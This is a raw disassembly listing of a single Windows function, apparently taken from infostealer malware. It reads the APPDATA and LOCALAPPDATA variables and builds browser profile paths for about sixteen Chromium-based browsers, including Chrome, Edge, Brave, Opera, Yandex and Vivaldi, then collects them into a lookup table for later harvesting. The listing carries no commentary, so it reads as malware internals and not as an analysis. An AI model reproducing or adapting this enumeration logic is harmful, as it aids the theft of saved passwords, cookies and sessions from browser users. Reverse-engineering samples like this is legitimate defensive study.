Function at 0x14000c940
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x838]
sub rsp, 0x910
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x140046040]
xor rax, rsp
mov qword [rbp + 0x7f0], rax
mov rdi, rcx
mov qword [rbp - 0x30], rcx
mov qword [rbp + 0xe0], rcx
xor esi, esi
mov dword [rsp + 0x20], esi
lea rcx, str.APPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
movups xmmword [rbp + 0x638], xmm0
mov qword [rbp + 0x648], rsi
mov qword [rbp + 0x650], rsi
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop
inc r8
cmp byte [rax + r8], sil
jne 0x14000c9c0
mov rdx, rax
lea rcx, [rbp + 0x638]
call fcn.140019740
nop
lea rcx, str.LOCALAPPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
xorps xmm0, xmm0
movups xmmword [rbp + 0x600], xmm0
mov qword [rbp + 0x610], rsi
mov qword [rbp + 0x618], rsi
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x14000ca00
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x600]
call fcn.140019740
nop
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi], rsi
mov qword [rdi + 8], rsi
mov qword [rdi + 0x10], rsi
mov dword [rsp + 0x20], 1
movups xmmword [rbp + 0x6b0], xmm0
movups xmmword [rbp + 0x6c0], xmm0
movups xmmword [rbp + 0x6d0], xmm0
movups xmmword [rbp + 0x6e0], xmm0
movabs rcx, 0x7fffffffffffffff
mov r14, rcx
mov rbx, qword [rbp + 0x610]
sub r14, rbx
cmp r14, 0x11
jb 0x14000e724
lea rax, [rbp + 0x600]
mov r15, qword [rbp + 0x600]
mov r12, qword [rbp + 0x618]
cmp r12, 0xf
cmova rax, r15
mov qword [rbp + 0x5c0], rax
movups xmmword [rsp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x58], xmm1
lea r13, [rbx + 0x11]
mov edi, recv
lea rsi, [rsp + 0x48]
movabs rdx, 0x8000000000000000
mov r8d, socket
cmp r13, rdi
jbe 0x14000cb3c
mov rdi, r13
or rdi, 0xf
cmp rdi, rcx
jbe 0x14000caf5
mov rdi, rcx
lea rax, [rdx + 0x27]
mov rcx, rax
call fcn.140032c88
test rax, rax
je 0x14000cb21
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000cb30
cmp rdi, r8
cmovb rdi, r8
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x14000cb09
xor esi, esi
jmp 0x14000cb37
cmp rcx, 0x1000
jb 0x14000cb28
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000e6e8
jmp 0x14000cada
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140032c88
mov rsi, rax
mov rax, qword [rbp + 0x5c0]
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x60], rdi
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str.KometaUser_Data]
movups xmmword [rbx + rsi], xmm0
movzx eax, byte [0x1400382f8]
mov byte [rbx + rsi + 0x10], al
mov byte [rsi + r13], 0
mov dword [rsp + 0x20], 0x401
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1d0], xmm1
mov r8d, 6
lea rdx, str.kometa
lea rcx, [rbp + 0x1c0]
call fcn.140019740
movups xmm1, xmmword [rsp + 0x48]
movaps xmmword [rbp + 0x1e0], xmm1
movups xmm0, xmmword [rsp + 0x58]
movaps xmmword [rbp + 0x1f0], xmm0
movdqa xmm6, xmmword [0x14003b170]
movdqu xmmword [rsp + 0x58], xmm6
mov byte [rsp + 0x48], 0
cmp r14, 0x12
jb 0x14000e72a
lea rax, [rbp + 0x600]
cmp r12, 0xf
cmova rax, r15
mov qword [rbp + 0x5c0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x38], xmm1
lea r13, [rbx + 0x12]
mov edi, recv
lea rsi, [rsp + 0x28]
cmp r13, rdi
jbe 0x14000cca7
mov rdi, r13
or rdi, 0xf
movabs r8, 0x7fffffffffffffff
cmp rdi, r8
jbe 0x14000cc5a
mov rdi, r8
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140032c88
test rax, rax
je 0x14000cc8c
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000cc9b
cmp rdi, 0x16
mov ecx, socket
cmovb rdi, rcx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x14000cc74
xor esi, esi
jmp 0x14000cca2
cmp rcx, 0x1000
jb 0x14000cc93
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000e6ee
jmp 0x14000cc3f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140032c88
mov rsi, rax
mov rax, qword [rbp + 0x5c0]
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x40], rdi
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str.OrbitumUser_Data]
movups xmmword [rbx + rsi], xmm0
movzx eax, word [0x140038318]
mov word [rbx + rsi + 0x10], ax
mov byte [rsi + r13], 0
mov dword [rsp + 0x20], 0xc01
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x210], xmm1
mov r8d, 7
lea rdx, str.orbitum
lea rcx, [rbp + 0x200]
call fcn.140019740
movups xmm1, xmmword [rsp + 0x28]
movaps xmmword [rbp + 0x220], xmm1
movups xmm0, xmmword [rsp + 0x38]
movaps xmmword [rbp + 0x230], xmm0
movdqu xmmword [rsp + 0x38], xmm6
mov byte [rsp + 0x28], 0
cmp r14, 0x16
jb 0x14000e730
lea r13, [rbp + 0x600]
cmp r12, 0xf
cmova r13, r15
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x78], xmm1
lea r14, [rbx + 0x16]
mov edi, recv
lea rsi, [rsp + 0x68]
cmp r14, rdi
jbe 0x14000cdfd
mov rdi, r14
or rdi, 0xf
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
jbe 0x14000cdb7
mov rdi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140032c88
test rax, rax
je 0x14000cde9
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000cdf8
cmp rdi, 0x16
mov eax, socket
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x14000cdd1
xor esi, esi
jmp 0x14000cdf8
cmp rcx, 0x1000
jb 0x14000cdf0
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000e6f4
jmp 0x14000cd9c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140032c88
mov rsi, rax
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], rdi
mov r8, rbx
mov rdx, r13
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str.CentBrowserUser_Data]
movups xmmword [rbx + rsi], xmm0
mov eax, dword [0x140038338]
mov dword [rbx + rsi + 0x10], eax
movzx eax, word [0x14003833c]
mov word [rbx + rsi + 0x14], ax
mov byte [rsi + r14], 0
mov dword [rsp + 0x20], 0x1c01
xorps xmm0, xmm0
movups xmmword [rbp + 0x240], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x250], xmm1
mov r8d, recv
lea rdx, str.cent_browser
lea rcx, [rbp + 0x240]
call fcn.140019740
movups xmm1, xmmword [rsp + 0x68]
movaps xmmword [rbp + 0x260], xmm1
movups xmm0, xmmword [rsp + 0x78]
movaps xmmword [rbp + 0x270], xmm0
movdqu xmmword [rsp + 0x78], xmm6
mov byte [rsp + 0x68], 0
lea r13, [rbp + 0x600]
cmp r12, 0xf
cmova r13, r15
xorps xmm0, xmm0
movups xmmword [rbp + 0x5e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x5f0], xmm1
mov edi, recv
lea rsi, [rbp + 0x5e0]
cmp r14, rdi
jbe 0x14000cf56
mov rdi, r14
or rdi, 0xf
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
jbe 0x14000cf0e
mov rdi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140032c88
test rax, rax
je 0x14000cf40
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000cf4f
cmp rdi, 0x16
mov eax, socket
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x14000cf28
xor esi, esi
jmp 0x14000cf4f
cmp rcx, 0x1000
jb 0x14000cf47
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000e6fa
jmp 0x14000cef3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140032c88
mov rsi, rax
mov qword [rbp + 0x5e0], rsi
mov qword [rbp + 0x5f0], r14
mov qword [rbp + 0x5f8], rdi
mov r8, rbx
mov rdx, r13
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str.7Star7StarUser_Data]
movups xmmword [rsi + rbx], xmm0
mov eax, dword [0x140038360]
mov dword [rsi + rbx + 0x10], eax
movzx eax, word [0x140038364]
mov word [rsi + rbx + 0x14], ax
mov byte [rsi + r14], 0
mov dword [rsp + 0x20], 0x1e01
xorps xmm0, xmm0
movups xmmword [rbp + 0x280], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x290], xmm1
mov r8d, 5
lea rdx, str.7star
lea rcx, [rbp + 0x280]
call fcn.140019740
movups xmm1, xmmword [rbp + 0x5e0]
movaps xmmword [rbp + 0x2a0], xmm1
movups xmm0, xmmword [rbp + 0x5f0]
movaps xmmword [rbp + 0x2b0], xmm0
movdqu xmmword [rbp + 0x5f0], xmm6
mov byte [rbp + 0x5e0], 0
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rbx
cmp rax, 0x1a
jb 0x14000e736
lea r13, [rbp + 0x600]
cmp r12, 0xf
cmova r13, r15
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
lea r14, [rbx + 0x1a]
mov edi, recv
lea rsi, [rbp - 0x50]
cmp r14, rdi
jbe 0x14000d0c0
mov rdi, r14
or rdi, 0xf
cmp rdi, rcx
jbe 0x14000d07b
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140032c88
test rax, rax
je 0x14000d0ad
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000d0bc
cmp rdi, 0x16
mov eax, socket
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x14000d095
xor esi, esi
jmp 0x14000d0bc
cmp rcx, 0x1000
jb 0x14000d0b4
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000e700
jmp 0x14000d060
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140032c88
mov rsi, rax
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x40], r14
mov qword [rbp - 0x38], rdi
mov r8, rbx
mov rdx, r13
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str.SputnikSputnikUser_Data]
movups xmmword [rsi + rbx], xmm0
movsd xmm0, qword [0x140038380]
movsd qword [rsi + rbx + 0x10], xmm0
movzx eax, word [0x140038388]
mov word [rsi + rbx + 0x18], ax
mov byte [rsi + r14], 0
mov dword [rsp + 0x20], 0x3e01
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x2d0], xmm1
mov r8d, 7
lea rdx, str.sputnik
lea rcx, [rbp + 0x2c0]
call fcn.140019740
movups xmm1, xmmword [rbp - 0x50]
movaps xmmword [rbp + 0x2e0], xmm1
movups xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x2f0], xmm0
movdqu xmmword [rbp - 0x40], xmm6
mov byte [rbp - 0x50], 0
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rbx
cmp rax, 0x12
jb 0x14000e73c
lea r13, [rbp + 0x600]
cmp r12, 0xf
cmova r13, r15
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
lea r14, [rbx + 0x12]
mov edi, recv
lea rsi, [rbp - 0x28]
cmp r14, rdi
jbe 0x14000d21c
mov rdi, r14
or rdi, 0xf
cmp rdi, rcx
jbe 0x14000d1d7
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140032c88
test rax, rax
je 0x14000d209
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000d218
cmp rdi, 0x16
mov eax, socket
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x14000d1f1
xor esi, esi
jmp 0x14000d218
cmp rcx, 0x1000
jb 0x14000d210
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000e706
jmp 0x14000d1bc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140032c88
mov rsi, rax
mov qword [rbp - 0x28], rsi
mov qword [rbp - 0x18], r14
mov qword [rbp - 0x10], rdi
mov r8, rbx
mov rdx, r13
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str.VivaldiUser_Data]
movups xmmword [rbx + rsi], xmm0
movzx eax, word [0x1400383a8]
mov word [rbx + rsi + 0x10], ax
mov byte [rsi + r14], 0
mov dword [rsp + 0x20], 0x7e01
xorps xmm0, xmm0
movups xmmword [rbp + 0x300], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x310], xmm1
mov r8d, 7
lea rdx, str.vivaldi
lea rcx, [rbp + 0x300]
call fcn.140019740
movups xmm1, xmmword [rbp - 0x28]
movaps xmmword [rbp + 0x320], xmm1
movups xmm0, xmmword [rbp - 0x18]
movaps xmmword [rbp + 0x330], xmm0
movdqu xmmword [rbp - 0x18], xmm6
mov byte [rbp - 0x28], 0
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rbx
cmp rax, 0x1c
jb 0x14000e742
lea r13, [rbp + 0x600]
cmp r12, 0xf
cmova r13, r15
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 8], xmm1
lea r14, [rbx + 0x1c]
mov edi, recv
lea rsi, [rbp - 8]
cmp r14, rdi
jbe 0x14000d36a
mov rdi, r14
or rdi, 0xf
cmp rdi, rcx
jbe 0x14000d325
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140032c88
test rax, rax
je 0x14000d357
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000d366
cmp rdi, 0x16
mov eax, socket
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x14000d33f
xor esi, esi
jmp 0x14000d366
cmp rcx, 0x1000
jb 0x14000d35e
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000e70c
jmp 0x14000d30a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140032c88
mov rsi, rax
mov qword [rbp - 8], rsi
mov qword [rbp + 8], r14
mov qword [rbp + 0x10], rdi
mov r8, rbx
mov rdx, r13
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str.GoogleChrome_SxSUser_Data]
movups xmmword [rbx + rsi], xmm0
movsd xmm0, qword [0x1400383c8]
movsd qword [rbx + rsi + 0x10], xmm0
mov eax, dword [0x1400383d0]
mov dword [rbx + rsi + 0x18], eax
mov byte [rsi + r14], 0
mov dword [rsp + 0x20], 0xfe01
xorps xmm0, xmm0
movups xmmword [rbp + 0x340], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x350], xmm1
mov r8d, send
lea rdx, str.google_chrome_sxs
lea rcx, [rbp + 0x340]
call fcn.140019740
movups xmm1, xmmword [rbp - 8]
movaps xmmword [rbp + 0x360], xmm1
movups xmm0, xmmword [rbp + 8]
movaps xmmword [rbp + 0x370], xmm0
movdqu xmmword [rbp + 8], xmm6
mov byte [rbp - 8], 0
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rbx
cmp rax, 0x18
jb 0x14000e748
lea r13, [rbp + 0x600]
cmp r12, 0xf
cmova r13, r15
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x28], xmm1
lea r14, [rbx + 0x18]
mov edi, recv
lea rsi, [rbp + 0x18]
cmp r14, rdi
jbe 0x14000d4c4
mov rdi, r14
or rdi, 0xf
cmp rdi, rcx
jbe 0x14000d47f
mov rdi, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140032c88
test rax, rax
je 0x14000d4b1
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000d4c0
cmp rdi, 0x16
mov eax, socket
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x14000d499
xor esi, esi
jmp 0x14000d4c0
cmp rcx, 0x1000
jb 0x14000d4b8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000e712
jmp 0x14000d464
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140032c88
mov rsi, rax
mov qword [rbp + 0x18], rsi
mov qword [rbp + 0x28], r14
mov qword [rbp + 0x30], rdi
mov r8, rbx
mov rdx, r13
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str.GoogleChromeUser_Data]
movups xmmword [rbx + rsi], xmm0
movsd xmm0, qword [0x140038400]
movsd qword [rbx + rsi + 0x10], xmm0
mov byte [rsi + r14], 0
mov dword [rsp + 0x20], 0x1fe01
xorps xmm0, xmm0
movups xmmword [rbp + 0x380], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x390], xmm1
mov r8d, recv
lea rdx, str.google_chrome
lea rcx, [rbp + 0x380]
call fcn.140019740
movups xmm1, xmmword [rbp + 0x18]
movaps xmmword [rbp + 0x3a0], xmm1
movups xmm0, xmmword [rbp + 0x28]
movaps xmmword [rbp + 0x3b0], xmm0
movdqu xmmword [rbp + 0x28], xmm6
mov byte [rbp + 0x18], 0
movabs r8, 0x7fffffffffffffff
mov rax, r8
sub rax, rbx
cmp rax, 0x1f
jb 0x14000e74e
lea r14, [rbp + 0x600]
cmp r12, 0xf
cmova r14, r15
lea rcx, [rbp - 0x78]
call fcn.14001bf30
lea rsi, [rbx + 0x1f]
mov eax, recv
lea rdi, [rbp - 0x78]
cmp rsi, rax
jbe 0x14000d5bc
mov edx, eax
mov rcx, rsi
call fcn.14001bf00
mov qword [rbp + 0x5c0], rax
lea rdx, [rbp + 0x5c0]
call fcn.140021040
mov rdi, rax
mov qword [rbp - 0x78], rax
mov rax, qword [rbp + 0x5c0]
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x60], rax
mov r8, rbx
mov rdx, r14
mov rcx, rdi
call fcn.140016c90
lea rcx, [rdi + rbx]
mov r8d, 0x1f
lea rdx, str.Epic_Privacy_BrowserUser_Data
call fcn.140016c90
mov byte [rdi + rsi], 0
mov dword [rsp + 0x20], 0x3fe01
lea r8, [rbp - 0x78]
lea rcx, [rbp + 0x3c0]
call fcn.140018aa0
nop
lea r8, str.MicrosoftEdgeUser_Data
lea rdx, [rbp + 0x600]
lea rcx, [rbp + 0x690]
call fcn.1400185c0
nop
mov r8, rax
lea rcx, [rbp + 0x400]
call fcn.140018b20
nop
lea r8, str.uCozMediaUranUser_Data
lea rdx, [rbp + 0x600]
lea rcx, [rbp + 0x658]
call fcn.1400185c0
nop
mov r8, rax
lea rcx, [rbp + 0x440]
call fcn.140018ba0
nop
lea r8, str.YandexYandexBrowserUser_Data
lea rdx, [rbp + 0x600]
lea rcx, [rbp + 0xc0]
call fcn.1400185c0
nop
mov r8, rax
lea rdx, str.yandex
lea rcx, [rbp + 0x480]
call fcn.1400188a0
nop
lea r8, str.BraveSoftwareBrave_BrowserUser_Data
lea rdx, [rbp + 0x600]
lea rcx, [rbp + 0xa0]
call fcn.1400185c0
nop
mov r8, rax
lea rdx, str.brave
lea rcx, [rbp + 0x4c0]
call fcn.1400188a0
nop
lea r8, str.IridiumUser_Data
lea rdx, [rbp + 0x600]
lea rcx, [rbp + 0x80]
call fcn.1400185c0
nop
mov r8, rax
lea rdx, str.iridium
lea rcx, [rbp + 0x500]
call fcn.1400188a0
nop
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
mov rsi, qword [rbp + 0x648]
sub rax, rsi
cmp rax, 0x1c
jb 0x14000e754
lea r15, [rbp + 0x638]
mov r13, qword [rbp + 0x638]
mov r12, qword [rbp + 0x650]
cmp r12, 0xf
cmova r15, r13
xorps xmm0, xmm0
movups xmmword [rbp + 0x5c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x5d0], xmm1
lea r14, [rsi + 0x1c]
mov ebx, recv
lea rdi, [rbp + 0x5c0]
cmp r14, rbx
jbe 0x14000d7dd
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x14000d795
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140032c88
test rax, rax
je 0x14000d7c7
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000d7d6
cmp rbx, 0x16
mov eax, socket
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x14000d7af
xor edi, edi
jmp 0x14000d7d6
cmp rcx, 0x1000
jb 0x14000d7ce
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000e718
jmp 0x14000d77a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140032c88
mov rdi, rax
mov qword [rbp + 0x5c0], rdi
mov qword [rbp + 0x5d0], r14
mov qword [rbp + 0x5d8], rbx
mov r8, rsi
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str.Opera_SoftwareOpera_Stable]
movups xmmword [rsi + rdi], xmm0
movsd xmm0, qword [0x140038538]
movsd qword [rsi + rdi + 0x10], xmm0
mov eax, dword [0x140038540]
mov dword [rsi + rdi + 0x18], eax
mov byte [rdi + r14], 0
mov dword [rsp + 0x20], 0x3fe81
xorps xmm0, xmm0
movups xmmword [rbp + 0x540], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x550], xmm1
mov r8d, 5
lea rdx, str.opera
lea rcx, [rbp + 0x540]
call fcn.140019740
movups xmm1, xmmword [rbp + 0x5c0]
movaps xmmword [rbp + 0x560], xmm1
movups xmm0, xmmword [rbp + 0x5d0]
movaps xmmword [rbp + 0x570], xmm0
movdqu xmmword [rbp + 0x5d0], xmm6
mov byte [rbp + 0x5c0], 0
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rsi
cmp rax, 0x1f
jb 0x14000e75a
lea r15, [rbp + 0x638]
cmp r12, 0xf
cmova r15, r13
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x48], xmm1
lea r14, [rsi + 0x1f]
mov ebx, recv
lea rdi, [rbp + 0x38]
cmp r14, rbx
jbe 0x14000d949
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x14000d904
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140032c88
test rax, rax
je 0x14000d936
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000d945
cmp rbx, 0x16
mov eax, socket
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x14000d91e
xor edi, edi
jmp 0x14000d945
cmp rcx, 0x1000
jb 0x14000d93d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000e71e
jmp 0x14000d8e9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140032c88
mov rdi, rax
mov qword [rbp + 0x38], rdi
mov qword [rbp + 0x48], r14
mov qword [rbp + 0x50], rbx
mov r8, rsi
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str.Opera_SoftwareOpera_GX_Stable]
movups xmmword [rsi + rdi], xmm0
movsd xmm0, qword [0x140038560]
movsd qword [rsi + rdi + 0x10], xmm0
mov eax, dword [0x140038568]
mov dword [rsi + rdi + 0x18], eax
movzx eax, word [0x14003856c]
mov word [rsi + rdi + 0x1c], ax
movzx eax, byte [0x14003856e]
mov byte [rsi + rdi + 0x1e], al
mov byte [rdi + r14], 0
mov r12d, 0x3ff81
mov dword [rsp + 0x20], r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x580], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x590], xmm1
mov r8d, 8
lea rdx, str.opera_gx
lea rcx, [rbp + 0x580]
call fcn.140019740
movups xmm1, xmmword [rbp + 0x38]
movaps xmmword [rbp + 0x5a0], xmm1
movups xmm0, xmmword [rbp + 0x48]
movaps xmmword [rbp + 0x5b0], xmm0
movdqu xmmword [rbp + 0x48], xmm6
mov byte [rbp + 0x38], 0
mov dword [rbp + 0x6b0], 0
xor r15d, r15d
mov qword [rbp + 0x6b8], r15
mov qword [rbp + 0x6c0], r15
mov ecx, 0x50
call fcn.140032c88
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rbp + 0x6b8], rax
mov qword [rbp + 0x6c8], r15
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x6d0], xmm0
mov qword [rbp + 0x6e0], 7
mov qword [rbp + 0x6e8], 8
mov dword [rbp + 0x6b0], 0x3f800000
mov r8, rax
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x6c8]
call fcn.140017200
nop
lea rbx, [rbp + 0x1c0]
nop word [rax + rax]
mov r8, rbx
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x6b0]
call fcn.1400210b0
add rbx, 0x40
lea rax, [rbp + 0x5c0]
cmp rbx, rax
jne 0x14000da80
lea r9, [fcn.14000c4f0]
mov edx, 0x40
mov r8d, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x1c0]
call fcn.140032cc4
nop
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x14000db06
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000db01
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000db01
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp + 0x90], xmm6
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x14000db59
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000db54
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000db54
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp + 0xb0], xmm6
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x14000dbac
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000dba7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000dba7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp + 0xd0], xmm6
mov byte [rbp + 0xc0], 0
